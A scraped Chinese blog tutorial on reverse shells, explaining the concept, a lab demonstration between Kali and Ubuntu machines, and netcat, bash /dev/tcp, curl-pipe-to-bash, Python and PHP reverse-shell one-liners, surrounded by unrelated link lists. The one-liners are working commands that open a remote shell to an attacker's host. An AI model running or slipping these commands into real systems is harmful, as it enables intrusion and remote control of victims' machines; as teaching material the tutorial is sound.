当前位置: 首页 > news >正文

做经营网站怎么赚钱吗12580黄页推广

做经营网站怎么赚钱吗,12580黄页推广,冒险岛cms是什么意思,获客软件哪个好概述 反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端…

概述

反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。所谓正向连接,就是攻击机去连目标机。那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

基本流程

攻击者在自己的服务器上执行:

nc -lvnp 8888

攻击者拿下受害者的权限后,在受害者的机器上执行:

bash -i > /dev/tcp/攻击者的服务器ip/攻击者监听的端口(这里就是8888) 0>&1 2>&1

例子

机器ip地址
攻击机kali192.168.25.129
受害者ubuntu192.168.25.131

攻击机执行nc -lvnp 8888开启监听:
在这里插入图片描述

受害者执行bash -i > /dev/tcp/192.168.25.129/8888 0>&1 2>&1
在这里插入图片描述

攻击机回显:
在这里插入图片描述

可以看到已经成功反弹了shell,在kali这台机器上的命令提示符已经变成了ubuntu那台机器的了。查看ip地址发现正常回显受害者的ip。
在这里插入图片描述

解读

(1)nc -lvnp 8888
上面的nc命令也就是NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。
其常用参数如下:

  • -l 使用监听模式,管控传入的资料。
  • -v 显示指令执行过程。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -p <通信端口> 设置本地主机使用的通信端口。

(2)bash -i
-i interactive。即产生一个交互式的shell(bash)。

(3) /dev/tcp/IP/PORT
特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是bash实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

(4)0>&1 2>&1

命令说明
command > file将输出重定向到 file。
n > file将文件描述符为 n 的文件重定向到 file。
n >& m将输出文件 m 和 n 合并。

一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件:

  • 标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。
  • 标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。
  • 标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

各种脚本反弹shell

curl配合bash

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i > /dev/tcp/服务器的ip/8888 0>&1 2>&1

并开启8888端口的监听:nc -lvnp 8888。然后再目标机上执行如下,即可反弹shell:

curl xxx.xxx.xxx.xxx|bash

python

当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

nc -lvnp 8888

目标机主动连接攻击机:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

当目标主机上有php环境时,我们可以用php来反弹shell。

攻击机开启本地监听:

nc -lvnp 8888

目标机主动连接攻击机:

php -r '$sock=fsockopen("xxx.xxx.xxx.xxx",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
http://www.yayakq.cn/news/332659/

相关文章:

  • 个人可以做几个网站网站服务器购买
  • 西安网络科技有限公司做网站优化哪家好
  • 主营商城网站建设东莞网站建设服务公司
  • 给个网站谢谢了怎么理解网站开发
  • 设计有什么网站推荐百度明星人气榜
  • 企业做网站公司有哪些网站开发费用报价表
  • 网站建设运营费计入什么科目大型app定制开发
  • 网站开发语言开发一般建设网站的常见问题
  • 一个网站可以做几级链接萍乡网站建设公司
  • 凡科建站后属于自己的网站吗装饰设计说明
  • 祥云平台技术支持双语网站网络优化工程师有多累
  • 重庆网站建设狐灵科技网站配色表
  • 网站建设便宜的公司哪家好济南建设官方网站
  • 风铃网站代做网站开发费 税率
  • 西安找工作哪个网站好百度网址链接收录提交入口
  • 内网门户网站建设要求最简单的出入库管理软件
  • 网页设计网站开发教程wordpress 中文字体插件
  • wordpress 两个网站网站制作公司 云南
  • 网站建设捌金手指花总四本地搭建 wordpress
  • 织梦后台生成网站地图网站建设需要了解的
  • 最便宜的低价机票网站建设快速制作效果图软件
  • 网站外链应该怎么做免费做淘宝联盟网站
  • 百度站内搜索域名注册网站搭建
  • 基于jsp的网站开发蚌埠市建设工程质监站网站
  • 哈尔滨专业网站建设哪个好德州建设网站
  • 备案网站名称怎么改国外在线代理服务器免费
  • 外卖做的比较好的网站自己怎么创网站
  • 上海企业建站方案石家庄网站建设与推广
  • 免费的网站软件贵阳网站建设方案报价
  • 学校网站开发工作室社交网站开发用到的技术